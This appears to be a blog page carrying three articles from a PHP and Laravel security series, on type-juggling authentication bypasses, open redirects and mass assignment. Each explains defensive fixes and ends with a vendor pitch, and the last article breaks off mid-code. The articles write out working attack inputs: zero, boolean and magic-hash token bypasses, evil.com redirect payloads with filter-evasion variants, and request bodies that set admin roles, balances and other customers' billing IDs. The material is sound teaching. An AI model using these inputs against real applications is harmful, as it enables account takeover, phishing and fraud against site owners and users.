DEV Community: Nchiminyi — Founder, Kriosa

PHP Type Juggling — When 0 Equals "admin"

Nchiminyi — Founder, Kriosa — Tue, 01 Sep 2026 13:06:53 +0000

This is the eighteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel

Every article in this series follows the same principle understand the attack before you try to stop it.

Type juggling is PHP's most surprising security vulnerability. It does not require a misconfigured server. It does not require a forgotten input validation check. It requires only that you used == instead of === in the wrong place and that you did not know why that mattered.

The Two Comparison Operators

PHP has two equality operators and the difference between them is the core of this vulnerability.

== loose comparison converts types before comparing. If you compare an integer to a string PHP decides what type to use and converts accordingly.

=== strict comparison compares both value and type. An integer is never equal to a string regardless of value.

One character difference. Completely different security implications.

The Surprising Truth About PHP 7

Run this code on PHP 7:

var_dump(0 == "admin");    // bool(true)
var_dump(0 == "password"); // bool(true)
var_dump(0 == "anything"); // bool(true)
var_dump(0 == "");         // bool(true)
var_dump(0 == null);       // bool(true)

Every one of those comparisons returns true.

When PHP 7 compares an integer to a non-numeric string it converts the string to an integer. Non-numeric strings like "admin" convert to 0. So 0 == "admin" becomes 0 == 0 which is true.

This was a deliberate design decision from PHP's early days when loose typing was considered a feature. It became a security problem as PHP was used in authentication systems that nobody anticipated when those decisions were made.

PHP 8 changed this behavior:

var_dump(0 == "admin");    // bool(false) — PHP 8
var_dump(0 == "password"); // bool(false) — PHP 8
var_dump(0 == "");         // bool(false) — PHP 8
var_dump(0 == null);       // bool(true)  — still true in PHP 8
var_dump("1" == "01");     // bool(true)  — still true in PHP 8
var_dump("10" == "1e1");   // bool(true)  — scientific notation, still true

PHP 8 fixed the integer-to-non-numeric-string comparison. But many behaviors remain unchanged. And many production applications still run PHP 7 including shared hosting environments that have not been upgraded. Always use === regardless of PHP version.

The Magic Hash Vulnerability

Here is a real authentication bypass using type juggling. This is not hypothetical — it has appeared in production authentication systems:

// Dangerous — loose comparison in token validation
$token = $_GET['token'];
$validToken = getTokenFromDatabase(); // returns '0e123456789'

if ($token == $validToken) {
    grantAccess();
}

An attacker sends token=0.

The stored token '0e123456789' resembles scientific notation: 0 × 10^123456789. PHP 7's loose comparison converts it to float 0.0. The attacker's 0 also converts to 0.0. PHP compares 0.0 == 0.0 which is true. The attacker is authenticated without knowing the token.

Important context on magic hashes:

This specific attack requires that the stored hash begins with 0e followed only by digits. In practice this means the attack is probabilistic — not every hash will have this property. However applications that do not control what hash values are stored, or that generate tokens using algorithms where magic hashes are possible, are at meaningful risk. The fix is simple and the cost of not applying it is high.

Known hash values that evaluate to 0 under PHP 7 loose comparison:

MD5("240610708")  = 0e462097431906509019562988736854
MD5("QNKCDZO")   = 0e830400451993494058024219903391
SHA1("aaroZmOk") = 0e66507019969427134894567494305185566735

Any of these compared with == to 0 returns true in PHP 7.

Type Juggling in switch Statements

switch in PHP uses loose comparison internally — the same vulnerability appears in role and permission checks:

$role = $_GET['role'];

switch ($role) {
    case 'admin':
        grantAdminAccess();
        break;
    case 0:
        denyAccess();
        break;
    default:
        grantBasicAccess();
}

An attacker sends role=0. PHP 7 evaluates switch cases in order — first it checks 0 == 'admin' which is true in PHP 7 and grants admin access before ever reaching the deny case.

This specific behavior changed in PHP 8 where 0 == 'admin' is false. However the general principle that switch uses loose comparison remains true in PHP 8 for other type combinations. The safe pattern is to avoid mixing types in switch cases and validate input types before reaching any switch statement:

$role = (string) ($_GET['role'] ?? '');

if ($role === 'admin') {
    grantAdminAccess();
} elseif ($role === 'editor') {
    grantEditorAccess();
} else {
    denyAccess();
}

Type Juggling in `in_array()`

in_array() uses loose comparison by default — a frequently missed vulnerability:

$allowedRoles = ['admin', 'editor', 'viewer'];
$role = 0; // attacker supplied as integer

if (in_array($role, $allowedRoles)) {
    // In PHP 7: 0 == 'admin' → true
    // Attacker passes the check
    grantAccess();
}

The fix is the third parameter — strict mode:

if (in_array($role, $allowedRoles, true)) { // strict: true
    // Now uses === so 0 === 'admin' → false
    grantAccess();
}

Always pass true as the third argument to in_array() when comparing values where type matters. This single parameter change prevents the entire category of in_array() type juggling vulnerabilities.

Type Juggling in JSON API Endpoints

APIs that accept JSON are particularly vulnerable because JSON has native boolean and null types that interact unexpectedly with PHP's ==:

$data = json_decode(file_get_contents('php://input'), true);
$token = $data['token'];

if ($token == $storedToken) {
    // authenticated
}

An attacker sends:

{"token": true}

In PHP true == "any_non_empty_string" is true in both PHP 7 and PHP 8. The attacker is authenticated by sending boolean true as their token without knowing the actual token value.

Or they send:

{"token": 0}

Which triggers the integer comparison bypass in PHP 7.

The fix — validate type before comparing:

$data = json_decode(file_get_contents('php://input'), true);
$token = $data['token'] ?? null;

if (!is_string($token) || strlen($token) === 0) {
    http_response_code(401);
    die('Invalid token.');
}

if (!hash_equals($storedToken, $token)) {
    http_response_code(401);
    die('Invalid token.');
}

`hash_equals()` — The Correct Token Comparison

For comparing tokens, hashes, and secrets PHP provides hash_equals():

// Wrong — loose comparison
if ($token == $storedToken) { }

// Better but incomplete — strict but timing-attack vulnerable
if ($token === $storedToken) { }

// Correct — strict, type-safe, timing-attack resistant
if (hash_equals($storedToken, $token)) { }

hash_equals() does two important things.

Constant-time comparison — it always takes the same amount of time regardless of how many characters match. This prevents timing attacks where an attacker measures response time to determine how many characters of a token they guessed correctly.

Type enforcement — if either argument is not a string hash_equals() returns false, preventing boolean and integer bypass attacks.

Always use hash_equals() for token and hash comparisons. Always use password_verify() for password comparisons. Never use == or === directly for these comparisons.

The Safe Authentication Pattern

Passwords:

function authenticate(PDO $pdo, string $username, string $password): bool
{
    $stmt = $pdo->prepare('
        SELECT password_hash FROM users WHERE username = ?
    ');
    $stmt->execute([$username]);
    $user = $stmt->fetch();

    if (!$user) {
        // Call password_verify anyway to prevent timing-based
        // username enumeration — takes the same time as a real check
        password_verify($password, '$2y$10$invaliddummyhashfortiming000000000000000000000000000000');
        return false;
    }

    return password_verify($password, $user['password_hash']);
}

Tokens and API keys:

function verifyToken(string $storedToken, mixed $suppliedToken): bool
{
    if (!is_string($suppliedToken) || strlen($suppliedToken) === 0) {
        return false;
    }

    return hash_equals($storedToken, $suppliedToken);
}

Role checks:

// Wrong — loose comparison
if ($user->role == 'admin') { }

// Correct — strict comparison always
if ($user->role === 'admin') { }
if ((int) $user->role === 1) { }

Type Juggling in Laravel

Laravel's default authentication system uses password_verify() internally — the Auth facade and Eloquent-based authentication are not vulnerable to type juggling in password comparison.

But type juggling appears in custom Laravel code.

Custom token validation:

// Dangerous
if ($request->input('token') == $user->api_token) {
    // vulnerable to 0/true bypass
}

// Safe
$token = $request->input('token');
if (!is_string($token) || !hash_equals($user->api_token, $token)) {
    abort(401);
}

Custom middleware:

// Dangerous
if ($request->header('X-API-Key') == config('app.api_key')) {
    // vulnerable
}

// Safe
$key = $request->header('X-API-Key', '');
if (!hash_equals(config('app.api_key'), (string) $key)) {
    abort(401);
}

JSON API validation:

// Dangerous — boolean true bypasses this
$token = $request->json('token');
if ($token == $storedToken) { }

// Safe
$token = $request->json('token');
if (!is_string($token) || !hash_equals($storedToken, $token)) {
    abort(401);
}

in_array() in Laravel:

// Dangerous
if (in_array($request->input('role'), ['admin', 'editor'])) {
    // type juggling bypass possible
}

// Safe
if (in_array($request->input('role'), ['admin', 'editor'], true)) {
    // strict comparison
}

Auditing Your Codebase

# Find loose comparisons in security-sensitive contexts
grep -rn " == " app/ | grep -i "token\|password\|hash\|key\|auth\|role\|admin"

# Find in_array without strict mode
grep -rn "in_array(" app/ | grep -v ", true)"

# Find switch statements with mixed-type cases
grep -rn "case 0\b\|case 1\b\|case true\b\|case false\b" app/

# Find JSON handling followed by comparison
grep -rn "json_decode\|->json(" app/

Not every loose comparison is exploitable — context matters. But every result in an authentication or authorization context deserves careful review.

The Type Juggling Checklist

For plain PHP:

Never use == to compare tokens, passwords, hashes, roles, or permission values
Always use === for equality checks where type matters
Always pass true as the third argument to in_array() in security contexts
Always use password_verify() for password comparison
Always use hash_equals() for token and hash comparison
Validate JSON input types with is_string() or is_int() before any comparison
Never compare authentication values against null, 0, or false using ==
Test your authentication code on both PHP 7 and PHP 8 if your hosting environment may run either

For Laravel:

Trust Laravel's built-in Auth system for password comparison
Use hash_equals() for any custom token or API key comparison
Use strict in_array() with true as the third argument
Validate JSON request types before comparison — $request->json('token') returns mixed
Use === not == in all custom middleware authorization checks
Cast types explicitly before comparison when working with database values

Where Kriosa Fits

Type juggling vulnerabilities are exploited through authentication parameters — tokens, API keys, role values — that carry unexpected types or magic values designed to trigger loose comparison bypasses.

A request that sends token=0 or {"token": true} where a string token is expected is behaviorally unusual. Systematic probing of authentication endpoints with numeric values, boolean values, and zero-like strings is a behavioral pattern that differs from legitimate user authentication.

Kriosa monitors incoming requests for these behavioral signals — unusual type values in authentication parameters, systematic testing of token endpoints with non-string values, and request patterns that differ from normal application usage. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.

Prevention through ===, hash_equals(), and type validation stops the bypass at the application layer. Detection through behavioral monitoring tells you when someone is probing for loose comparisons to exploit.

In Prooflify all token comparisons use hash_equals(). In Belle-Full all role checks use strict comparison. Neither application uses == in authentication or authorization flows.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation : kriosa Docs
Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel
Article 18: This article — PHP type juggling and when 0 equals admin

Open Redirect Vulnerabilities in PHP and Laravel — When Your Own Domain Becomes the Attack

Nchiminyi — Founder, Kriosa — Fri, 28 Aug 2026 07:00:00 +0000

The attacker does not need to trick users into visiting evil.com. They trick them into visiting yoursite.com which redirects them there automatically.

This is the seventeenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong
Rate limiting in Laravel and PHP — how to stop brute force before it starts
Security headers in PHP and Laravel — the lines that harden every response
IDOR in PHP and Laravel — when changing one number exposes someone else's data
Mass assignment in PHP and Laravel — when user input becomes more than it should

Every article in this series follows the same principle understand the attack before you try to stop it.

Open redirects are sometimes dismissed as low severity. That framing misses the real risk. A redirect vulnerability that sends users from your trusted domain to an attacker's phishing page is not low severity it is a trust weaponization attack that uses your reputation against your own users.

What an Open Redirect Is

Your application has a login page. After successful login it redirects the user back to where they were:

https://yoursite.com/login?redirect=/dashboard

Your code:

header('Location: ' . $_GET['redirect']);
exit;

For a legitimate user redirect=/dashboard works perfectly. They log in and land on their dashboard.

An attacker crafts this URL and sends it to a victim:

https://yoursite.com/login?redirect=https://evil.com/fake-login

The victim sees yoursite.com in the link. They trust it. They click it. They log into your application. Your application immediately redirects them to evil.com/fake-login a page that looks identical to yours and asks them to enter their credentials again.

The victim never saw evil.com in a URL they were asked to trust. They only saw yoursite.com.

That is an open redirect. Your domain's trust, redirected against your users.

Why Open Redirects Are More Dangerous Than They Look

They weaponize your domain's reputation.
A direct link to evil.com looks suspicious. Email spam filters flag it. Users hesitate. A link through yoursite.com inherits your domain's trust. It passes filters. Users click without hesitation.

They chain with other vulnerabilities.
An open redirect combined with an OAuth flow can allow an attacker to steal authorization codes. Combined with a password reset flow it may allow stealing reset tokens. The standalone impact varies by context in some cases it is genuinely low. But in authentication flows and OAuth implementations it can contribute to account takeover when chained with other weaknesses.

They are permanent phishing infrastructure.
Once an attacker discovers an open redirect on your domain they have a phishing asset tied to your reputation for as long as the vulnerability exists.

The Four Places Open Redirects Appear

Login redirect parameters — the most common:

/login?redirect=https://evil.com
/login?return_to=https://evil.com
/login?next=https://evil.com

Logout redirect parameters:

/logout?redirect=https://evil.com

Error page redirects:

/404?return=https://evil.com

Link trackers and URL shorteners:

/go?url=https://evil.com
/track?link=https://evil.com
/redirect?to=https://evil.com

The Wrong Fixes

Most developers who know about open redirects implement fixes that do not work. Understanding why they fail is as important as knowing the correct solution.

Wrong fix 1 — Checking for http

$redirect = $_GET['redirect'];
if (strpos($redirect, 'http') === false) {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

An attacker sends:

//evil.com/phishing

Protocol-relative URLs begin with //. The browser treats them as HTTPS or HTTP depending on the current protocol. Your check looks for http and finds nothing. The redirect executes.

Wrong fix 2 — Checking for your domain name in the string.

$redirect = $_GET['redirect'];
if (strpos($redirect, 'yoursite.com') !== false) {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

An attacker sends:

https://evil.com/yoursite.com/phishing

or:

https://yoursite.com.evil.com/phishing

Your check finds yoursite.com in the string. The redirect executes.

Wrong fix 3 — Partial parse_url() validation:

$redirect = $_GET['redirect'];
$parsed = parse_url($redirect);

if ($parsed['host'] === 'yoursite.com') {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

URL parsing behavior can differ between PHP and browsers in edge cases involving characters like \ and @. Checking a single parsed component without validating scheme and ensuring the full URL resolves as expected is not sufficient protection. Complete validation requires checking scheme, host, and ensuring the URL does not contain bypass characters.

Wrong fix 4 — Blacklisting specific domains:

The number of domains an attacker can register is unlimited. Blacklisting specific domains is not a security control.

The Correct Fixes

Fix 1 — Whitelist approach — the strongest fix.

Never accept arbitrary URLs. Accept a key that maps to a known safe destination.

$allowedRedirects = [
    'dashboard' => '/dashboard',
    'profile'   => '/profile',
    'settings'  => '/settings',
    'orders'    => '/orders',
];

$key = $_GET['redirect'] ?? 'dashboard';
$redirect = $allowedRedirects[$key] ?? '/dashboard';

header('Location: ' . $redirect);
exit;

The attacker cannot redirect to an external URL because the destination is never derived from user input. This eliminates the attack surface entirely.

Fix 2 — Relative URL validation.

If you must accept user-supplied paths restrict them to paths relative to your own domain.

function isSafeRedirect(string $url): bool
{
    // Must not be protocol-relative
    if (str_starts_with($url, '//')) {
        return false;
    }

    // Must not contain a scheme
    if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\-.]*:/', $url)) {
        return false;
    }

    // Must start with a forward slash
    if (!str_starts_with($url, '/')) {
        return false;
    }

    return true;
}

$redirect = $_GET['redirect'] ?? '/dashboard';

if (!isSafeRedirect($redirect)) {
    $redirect = '/dashboard';
}

header('Location: ' . $redirect);
exit;

A URL that starts with / and contains no scheme is always relative to the current domain. There is no way to redirect to an external site within these constraints.

Fix 3 — Domain validation for absolute URLs

If you must allow absolute URLs validate both scheme and host precisely

function isTrustedRedirect(string $url, string $trustedHost): bool
{
    $parsed = parse_url($url);

    if (empty($parsed['host'])) {
        return false;
    }

    if (!in_array($parsed['scheme'] ?? '', ['http', 'https'], true)) {
        return false;
    }

    $host = strtolower($parsed['host']);
    $trusted = strtolower($trustedHost);

    // Exact match or confirmed subdomain only
    return $host === $trusted || str_ends_with($host, '.' . $trusted);
}

$redirect = $_GET['redirect'] ?? '/dashboard';

if (!isTrustedRedirect($redirect, 'yoursite.com')) {
    $redirect = '/dashboard';
}

header('Location: ' . $redirect);
exit;

The host must exactly match your domain or be a confirmed subdomain. The scheme must be http or https.

A note on defense in depth:

Even with validation in place it is worth adding a fallback default. If validation fails for any reason unexpected input format, edge case in parse_url() the application falls back to a known safe destination rather than proceeding with an unvalidated URL.

$redirect = $_GET['redirect'] ?? '/dashboard';
$safe = isSafeRedirect($redirect) ? $redirect : '/dashboard';
header('Location: ' . $safe);
exit;

Open Redirects in Laravel

Laravel's redirect() helper is convenient. The vulnerability appears when user input reaches it without validation.

// Dangerous
public function login(Request $request)
{
    // ... authenticate user
    $redirect = $request->input('redirect', '/dashboard');
    return redirect($redirect);
}

Fix 1 — Use redirect()->intended() for post-login redirects.

Laravel's intended redirect system stores the originally requested URL in the session before redirecting to login.

// In your authentication middleware
return redirect()->guest('/login');

// After successful login
return redirect()->intended('/dashboard');

redirect()->intended() reads the stored URL from the session not from user input. The intended URL was stored server-side before the user ever saw the login page. This is the correct pattern for post-login redirects in Laravel.

Fix 2 — Whitelist in Laravel:

public function login(Request $request)
{
    // ... authenticate user

    $allowedRedirects = [
        'dashboard' => '/dashboard',
        'profile'   => '/profile',
        'settings'  => '/settings',
        'orders'    => '/orders',
    ];

    $key = $request->input('redirect', 'dashboard');
    $redirect = $allowedRedirects[$key] ?? '/dashboard';

    return redirect($redirect);
}

Fix 3 — Relative URL validation in Laravel.

public function login(Request $request)
{
    // ... authenticate user

    $redirect = $request->input('redirect', '/dashboard');

    if (!str_starts_with($redirect, '/') ||
        str_starts_with($redirect, '//') ||
        preg_match('/^[a-zA-Z][a-zA-Z0-9+\-.]*:/', $redirect)) {
        $redirect = '/dashboard';
    }

    return redirect($redirect);
}

Fix 4 — Signed URLs for trusted flows.

For email links, password reset flows, and OAuth callbacks use Laravel's signed URLs.

// Generate a signed URL that includes the redirect destination
$url = URL::signedRoute('post.login.redirect', [
    'destination' => '/orders/1042'
]);

// Verify the signature before redirecting
public function postLoginRedirect(Request $request)
{
    if (!$request->hasValidSignature()) {
        abort(403);
    }

    $destination = $request->input('destination', '/dashboard');

    // Validate even after signature check
    if (!str_starts_with($destination, '/') ||
        str_starts_with($destination, '//')) {
        $destination = '/dashboard';
    }

    return redirect($destination);
}

Signed URLs cannot be tampered with the cryptographic signature covers the entire URL including the destination parameter. An attacker who changes the destination invalidates the signature.

Open Redirects in OAuth Flows

OAuth flows are where open redirects can reach critical severity.

When your application implements OAuth login the authorization server redirects back to your application with an authorization code. If your application uses a user-supplied redirect_uri that is not validated against a registered allowlist an attacker can potentially intercept that authorization code:

// Dangerous
$callbackUri = $_GET['redirect_uri'];
header('Location: ' . $callbackUri . '?code=' . $authCode);

OAuth specifications require redirect URIs to be registered in advance and validated with exact string matching not prefix or suffix matching.

$registeredCallbacks = [
    'https://yoursite.com/oauth/callback',
    'https://yoursite.com/oauth/mobile/callback',
];

$callbackUri = $_GET['redirect_uri'] ?? '';

if (!in_array($callbackUri, $registeredCallbacks, true)) {
    http_response_code(400);
    die('Invalid redirect URI.');
}

Any deviation from a registered URI should fail the OAuth flow entirely. The security of the OAuth flow depends on this check being exact.

The Open Redirect Checklist

For plain PHP

Never pass $_GET or $_POST values directly to header('Location: ...')
Use a whitelist of allowed redirect destinations mapped by key wherever possible
If you must accept user-supplied paths validate they are relative start with /, no scheme, no //
If you must allow absolute URLs validate scheme is http or https and host exactly matches your domain or a confirmed subdomain
Always fall back to a known safe default if validation fails for any reason
Never blacklist specific domains
OAuth redirect URIs must use exact string matching against a registered allowlist

For Laravel:

Use redirect()->intended() for post-login redirects never user-supplied parameters
Never pass $request->input('redirect') directly to redirect() without validation
Use a whitelist mapped by key for any redirect that accepts user input
Use signed URLs for email links, password reset flows, and OAuth callbacks
Validate relative URLs before passing to redirect()
Never pass user input to redirect()->away() without domain validation
OAuth redirect URIs must use exact string matching against a registered allowlist

Where Kriosa Fits

Open redirect attacks begin with reconnaissance. Before exploiting an open redirect an attacker probes for it — sending requests with external URLs in redirect parameters, testing which parameters are reflected in Location headers, checking whether your application follows redirects to external domains.

That probing behavior — systematic testing of redirect parameters across your application's endpoints — produces distinctive request patterns that differ from legitimate user navigation.

Kriosa monitors incoming requests for behavioral signals that precede open redirect exploitation unusual values in redirect parameters, systematic testing of URL-accepting endpoints, and request patterns that differ from normal user navigation. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.

Prevention through whitelists and validation stops your domain from being used as a redirect weapon. Detection through behavioral monitoring tells you when someone is checking whether it can be.

In Prolify post-login redirects use redirect()->intended() the destination is stored in the session before login, never taken from URL parameters.
In bellefull all redirects use a whitelist. Neither application passes user input directly to a redirect function.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far
Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem - why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries - the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP - how ../ escapes your application
Article 9: Command injection in PHP - when exec() becomes an attack surface
Article 10: Broken access control in Laravel - why being logged in is not enough
Article 11: Secrets in Laravel - why .env is only the beginning
Article 12: Session security in PHP - what most developers get wrong
Article 13: Rate limiting in Laravel and PHP - how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel - the lines that harden every response
Article 15: IDOR in PHP and Laravel - when changing one number exposes someone else's data
Article 16: This article - mass assignment in PHP and Laravel and when user input becomes more than it should

Article 17: This article — open redirect vulnerabilities in PHP and Laravel

Mass Assignment in PHP and Laravel — When User Input Becomes More Than It Should

Nchiminyi — Founder, Kriosa — Tue, 25 Aug 2026 07:00:00 +0000

This is the sixteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data

Every article in this series follows the same principle understand the attack before you try to stop it.

Mass assignment is often described as a Laravel vulnerability. The underlying problem is much broader trusting user-controlled field names and values more than the application should.

Laravel gives this problem a specific name and provides built-in defenses. Plain PHP does not. But the security principle is the same across both:

Never let the client decide which application attributes it is allowed to modify.

The Core Problem

Your application receives a profile update request. A legitimate user sends:

name=John&email=john@example.com

An attacker sends:

name=John&email=john@example.com&role=admin&is_admin=1&balance=99999

The HTTP method is the same. The endpoint is the same. The only difference is the extra fields.

If your application processes every field it receives without filtering which ones are allowed the attacker just wrote role, is_admin, and balance to your database through a profile update form.

No exploit. No special tool. Browser developer tools and knowledge of what column names to try.

Mass Assignment in Plain PHP

Laravel makes mass assignment easy to recognize because Eloquent has explicit methods like create() and update(). Plain PHP does not have a built-in mass assignment mechanism but plain PHP applications are equally vulnerable.

The problem appears when developers accept arbitrary request keys and map them directly into objects or database fields:

// Dangerous — client controls which properties are modified
foreach ($_POST as $key => $value) {
    $user->$key = $value;
}

Now the client is choosing which properties the application modifies. A legitimate user updates their name and email. An attacker adds role=admin and is_admin=1 to the same request. Both are processed identically.

The dangerous assumption is if the client sent the field the application should process it. That is an input-trust problem. The client should never decide which fields the application processes.

The correct plain PHP approach explicit allowlist:

$allowed = ['name', 'email'];

foreach ($allowed as $field) {
    if (isset($_POST[$field])) {
        $user->$field = $_POST[$field];
    }
}

Or more explicitly:

$data = [
    'name'  => $_POST['name']  ?? null,
    'email' => $_POST['email'] ?? null,
];

The attacker can send role=admin and is_admin=1 but those fields never enter the update operation because only name and email are in the allowlist.

Parameterized queries do not solve this:

This is a critical distinction. Parameterized queries protect against SQL injection they do not decide which fields a user is allowed to modify.

// Good SQL injection protection but not mass assignment protection
$sql = "UPDATE users SET name = :name, email = :email WHERE id = :id";
$stmt = $pdo->prepare($sql);
$stmt->execute([':name' => $name, ':email' => $email, ':id' => $id]);

This query is safe from SQL injection. But the application still needs to decide separately that name and email are the only fields this request is allowed to change. Both protections are required they solve different problems.

Mass Assignment in Laravel

Laravel's Eloquent ORM gives the vulnerability a specific name and provides built-in defenses. But those defenses only work when developers understand and apply them correctly.

Code like this:

User::create($request->all());
$user->update($request->all());

passes every field the user submitted directly to the model. $request->all() is the problem it contains whatever the attacker decides to send.

$fillable the allowlist approach:

class User extends Model
{
    protected $fillable = [
        'name',
        'email',
        'password',
    ];
}

Only fields listed in $fillable can be mass assigned. If an attacker submits role=admin or is_admin=1 those fields are silently ignored.

$guarded the blocklist approach:

class User extends Model
{
    protected $guarded = [
        'role',
        'is_admin',
        'balance',
    ];
}

Everything except fields in $guarded can be mass assigned. The danger is that the blocklist becomes incomplete as the application grows. A developer adds a sensitive column six months later and forgets to add it to $guarded. An allowlist has a safer failure mode a newly added field is not automatically mass assignable unless explicitly added to $fillable.

$guarded = [] the most dangerous configuration:

class User extends Model
{
    protected $guarded = [];
}

This disables mass assignment protection entirely. Every field can be mass assigned. You see this in tutorials and prototypes. In production it deserves particular scrutiny.

The forceFill() trap:

// This ignores $fillable and $guarded completely
$user->forceFill($request->all())->save();

forceFill() is legitimate for trusted internal operations database seeding, administrative scripts, migration tooling where you control the data. Using it with user-supplied input removes the model-level safety boundary completely.

Search your codebase now:

grep -r "forceFill" app/

Every result needs manual review. If any forceFill() call receives data that originates from user input directly or indirectly it is a vulnerability.

One critical point: $fillable does not replace authorization. A request can contain perfectly valid fields and still come from a user who is not allowed to modify that resource. Mass assignment protection and access control solve different problems. Both are required.

Beyond Role Escalation — The Scenarios Developers Miss

Most developers know to protect role and is_admin. Here are the scenarios they miss.

Email verification bypass:

email=attacker@example.com&email_verified_at=2024-01-01

A user changes their email and simultaneously marks it as verified skipping your verification flow entirely.

Balance manipulation:

amount=10&balance=99999

A user submits a legitimate transaction amount but also sets their own account balance.

Soft delete recovery:

name=John&deleted_at=null

A user recovers their soft-deleted account or restores deleted content by setting deleted_at to null.

Timestamp manipulation:

name=John&created_at=2020-01-01

A user changes when their account was created useful for bypassing time-based restrictions or trial period limits.

Billing relationship hijacking:

name=John&stripe_customer_id=cus_someone_elses_id

A user points their account to another customer's Stripe billing relationship accessing another customer's payment methods.

Every one of these is possible when mass assignment protection is absent or incomplete.

The Three Layers of Protection

Strong protection uses all three layers. Each catches what the previous one might miss.

Layer 1 — Model level with $fillable:

class User extends Model
{
    protected $fillable = [
        'name',
        'email',
        'password',
    ];
}

Your safety net. Even if a developer makes a mistake in the controller the model-level protection limits the damage.

Layer 2 — Controller level with $request->only():

public function update(Request $request)
{
    $request->user()->update(
        $request->only(['name', 'email'])
    );
    return redirect('/profile')->with('success', 'Profile updated.');
}

$request->only() extracts only the fields you specify. Even if the attacker sends additional fields they never reach the model.

Layer 3 — Form Request with $request->validated():

// app/Http/Requests/UpdateProfileRequest.php
class UpdateProfileRequest extends FormRequest
{
    public function authorize(): bool
    {
        return true;
    }

    public function rules(): array
    {
        return [
            'name'  => ['required', 'string', 'max:255'],
            'email' => [
                'required',
                'email',
                'unique:users,email,' . $this->user()->id,
            ],
        ];
    }
}

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
    return redirect('/profile')->with('success', 'Profile updated.');
}

$request->validated() only returns fields that have validation rules defined. No rule means no field regardless of what the user submitted. Validation and field filtering happen in the same place. This is the cleanest and most maintainable approach.

API Mass Assignment — The Most Dangerous Context

API endpoints are where mass assignment is most commonly overlooked. When a form submits extra fields developers sometimes notice because they can see the HTML. When a JSON API body contains extra fields there is no visible form to audit.

// Dangerous API endpoint
Route::put('/api/profile', function (Request $request) {
    $request->user()->update($request->all());
    return response()->json(['message' => 'Updated']);
})->middleware('auth:sanctum');

An attacker sends a crafted JSON body:

{
    "name": "John",
    "email": "john@example.com",
    "role": "admin",
    "is_admin": true,
    "balance": 99999,
    "stripe_customer_id": "cus_someone_elses_id"
}

If the model has no $fillable protection every field gets written to the database.

The safe API pattern using only():

Route::put('/api/profile', function (Request $request) {
    $request->user()->update(
        $request->only(['name', 'email'])
    );
    return response()->json(['message' => 'Updated']);
